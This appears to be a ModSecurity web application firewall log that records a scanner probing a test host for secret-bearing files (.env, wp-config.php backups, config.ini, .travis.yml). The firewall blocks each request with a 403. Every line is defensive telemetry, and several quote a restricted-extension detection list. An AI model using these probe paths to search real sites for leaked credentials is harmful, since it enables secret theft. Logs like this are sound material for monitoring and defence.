[Wed Feb 25 06:04:42.059891 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYBgAAAAc&quot;]
[Wed Feb 25 06:04:42.292536 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aZ6C6mXxsr5IXP-ltRiaeAAAAAA&quot;]
[Wed Feb 25 06:04:42.292909 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aZ6C6mXxsr5IXP-ltRiaeAAAAAA&quot;]
[Wed Feb 25 06:04:42.293190 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aZ6C6mXxsr5IXP-ltRiaeAAAAAA&quot;]
[Wed Feb 25 06:04:42.293377 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aZ6C6mXxsr5IXP-ltRiaeAAAAAA&quot;]
[Wed Feb 25 06:04:42.385320 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /07-accessing-data/begin/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYCwAAAAc&quot;]
[Wed Feb 25 06:04:42.385634 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYCwAAAAc&quot;]
[Wed Feb 25 06:04:42.385826 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYCwAAAAc&quot;]
[Wed Feb 25 06:04:42.419927 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;aZ6C6mXxsr5IXP-ltRiaegAAAAA&quot;]
[Wed Feb 25 06:04:42.420245 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;aZ6C6mXxsr5IXP-ltRiaegAAAAA&quot;]
[Wed Feb 25 06:04:42.420527 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;aZ6C6mXxsr5IXP-ltRiaegAAAAA&quot;]
[Wed Feb 25 06:04:42.420754 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;aZ6C6mXxsr5IXP-ltRiaegAAAAA&quot;]
[Wed Feb 25 06:04:42.466074 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /07-accessing-data/end/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/end/vue-heroes/.env&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYDAAAAAc&quot;]
[Wed Feb 25 06:04:42.466378 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/end/vue-heroes/.env&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYDAAAAAc&quot;]
[Wed Feb 25 06:04:42.466599 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/end/vue-heroes/.env&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYDAAAAAc&quot;]
[Wed Feb 25 06:04:42.577967 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /08-routing/begin/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYDQAAAAc&quot;]
[Wed Feb 25 06:04:42.578248 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYDQAAAAc&quot;]
[Wed Feb 25 06:04:42.578471 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYDQAAAAc&quot;]
[Wed Feb 25 06:04:42.600547 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /08-routing/end/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/end/vue-heroes/.env&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYDgAAAAc&quot;]
[Wed Feb 25 06:04:42.600846 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/end/vue-heroes/.env&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYDgAAAAc&quot;]
[Wed Feb 25 06:04:42.601043 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/end/vue-heroes/.env&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYDgAAAAc&quot;]
[Wed Feb 25 06:04:42.619006 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;aZ6C6mXxsr5IXP-ltRiafQAAAAA&quot;]
[Wed Feb 25 06:04:42.619557 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;aZ6C6mXxsr5IXP-ltRiafQAAAAA&quot;]
[Wed Feb 25 06:04:42.619757 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;aZ6C6mXxsr5IXP-ltRiafQAAAAA&quot;]
[Wed Feb 25 06:04:42.631731 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /09-managing-state/begin/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYDwAAAAc&quot;]
[Wed Feb 25 06:04:42.632016 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYDwAAAAc&quot;]
[Wed Feb 25 06:04:42.632192 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYDwAAAAc&quot;]
[Wed Feb 25 06:04:42.703410 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /09-managing-state/end/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/end/vue-heroes/.env&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYEAAAAAc&quot;]
[Wed Feb 25 06:04:42.703715 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/end/vue-heroes/.env&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYEAAAAAc&quot;]
[Wed Feb 25 06:04:42.703921 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/end/vue-heroes/.env&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYEAAAAAc&quot;]
